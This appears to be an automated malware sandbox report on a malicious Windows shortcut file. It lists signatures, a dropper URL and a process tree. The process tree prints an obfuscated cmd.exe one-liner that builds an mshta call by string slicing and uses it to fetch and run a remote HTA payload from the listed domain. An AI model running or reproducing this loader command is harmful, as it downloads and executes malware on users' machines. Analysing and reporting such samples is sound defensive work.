Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:12

General

  • Target
    DOC-3MN44V.lnk
  • Size 2KB
  • Sample260803-qfkafaaa53
  • SHA256 a69f1cdd2479b1934eaea2e73950f5ca4750612d6ce4ffa5721e6ff56afff465
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-3MN44V.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set IkP=netvguccpnrdqpyqcrenet&set BXQS=winhbhbotkazdctwin&set FWh=tmpbqjhzagrfxtmp&set LzS=1nms70&&set AB=yehtajm&set oxC=netcdvizmwkyjjxrmnet&set ERuEz=cachevuzhecache&set ADk=cfgbnkqbbwaammescfg&set sqDj=wa0sj&&set xY=po6t5gz&&set zvOzi=xy2art8k5&set GTS=wincjkxobghexsdbyrvtmswin&&set aW=h@ttps:@/@/bo-pdffil@[email protected]@at/@h/@est@ag@i@o@1.@php@?@r=@36@0761F@15794&&start /b !LzS:~2,2!!AB:~2,3! !aW:@=!"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:1820

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads